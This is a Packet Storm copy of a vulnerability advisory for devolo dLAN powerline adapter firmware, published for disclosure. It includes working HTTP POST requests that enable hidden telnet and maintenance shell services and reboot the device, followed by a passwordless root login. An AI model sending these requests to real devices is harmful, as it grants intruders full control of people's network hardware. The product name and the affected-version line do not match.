Lucene search

K
packetstormStefan PetrushevskiPACKETSTORM:151527
HistoryFeb 05, 2019 - 12:00 a.m.

devolo dLAN 550 duo+ 3.1.0-1 Starter Kit Remote Code Execution

2019-02-0500:00:00
Stefan Petrushevski
packetstormsecurity.com
76
`  
devolo dLAN 550 duo+ Starter Kit Remote Code Execution  
  
  
Vendor: devolo AG  
Product web page: https://www.devolo.com  
Affected version: dLAN 500 AV Wireless+ 3.1.0-1 (i386)  
  
Summary: Devolo dLANA(r) 550 duo+ Starter Kit is Powerlineadapter which is  
a cost-effective and helpful networking alternative for any location  
without structured network wiring. Especially in buildings or residences  
lacking network cables or where updating the wiring would be expensive  
and complicated, Powerline adapters provide networking at high transmission  
rates.  
  
Desc: The devolo firmware has what seems to be a 'hidden' services which  
can be enabled by authenticated attacker via the the htmlmgr CGI script.  
This allows the attacker to start services that are deprecated or discontinued  
and achieve remote arbitrary code execution with root privileges.  
  
Tested on: Linux 2.6.31  
  
  
Vulnerability discovered by Stefan Petrushevski aka sm  
@zeroscience  
  
  
Advisory ID: ZSL-2019-5508  
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5508.php  
  
  
04.10.2017  
  
--  
  
The htmlmgr cgi script that is accessible via web, does not validate or sanitize  
the configuration parameters that a user wants to change. This allows an attacker  
to change configuration parametersincluding parameters that are not even shown in  
the web administration panel.  
  
One service that is possible for an attacker to enable is telnet and remote maintenance  
shell service and then proceed to login in with the 'root' user which doesn't have a password.  
  
In order for an attacker to achieve this, he would need to change the following two values:  
System.Baptization.Telnetd <- to enable telnet  
System.Baptization.shell <- to enable remote maintenance shell  
  
--------  
POST /cgi-bin/htmlmgr HTTP/1.1  
Host: DEVOLO-IP  
  
%3Asys%3ASystem.Baptization.Telnetd=1&_okdir=spec&_okpage=result&_okfollowdir=status&_okfollowpage=wireless&_okplain=1&_oktype=wlanstatus&_file=%2Fwgl%2Fmain.wgl&_style=std&_lang=&_dir=wireless&_page=wps&_idx=&_sid=&_csrf=  
--------  
  
--------  
POST /cgi-bin/htmlmgr HTTP/1.1  
Host: DEVOLO-IP  
  
%3Asys%3ASystem.Baptization.shell=1&_okdir=spec&_okpage=result&_okfollowdir=status&_okfollowpage=wireless&_okplain=1&_oktype=wlanstatus&_file=%2Fwgl%2Fmain.wgl&_style=std&_lang=&_dir=wireless&_page=wps&_idx=&_sid=&_csrf=  
--------  
  
Since the configuration is read from a file on boot time, an attacker would also  
need to somehow make the device to restart. This can be done by issuing the 'reboot'  
command again from the html cgi script: System.Reboot  
  
--------  
POST /cgi-bin/htmlmgr HTTP/1.1  
Host: DEVOLO-IP  
  
%3Asys%3ASystem.Reboot=OLACANYOUREBOOT&_okdir=spec&_okpage=result&_okfollowdir=status&_okfollowpage=wireless&_okplain=1&_oktype=wlanstatus&_file=%2Fwgl%2Fmain.wgl&_style=std&_lang=&_dir=wireless&_page=wps&_idx=&_sid=&_csrf=  
--------  
  
After the reboot the devolo device will have a telnet service on TCP port 23 opened  
and an attacker can now login to the device with user 'root' and no password.  
  
--------  
Trying DEVOLO-IP...  
Connected to DEVOLO-IP.  
Escape character is '^]'.  
  
dlanwireless login: root  
# whoami  
root  
#   
--------  
  
The attacker then has complete access over the device. t00t.  
`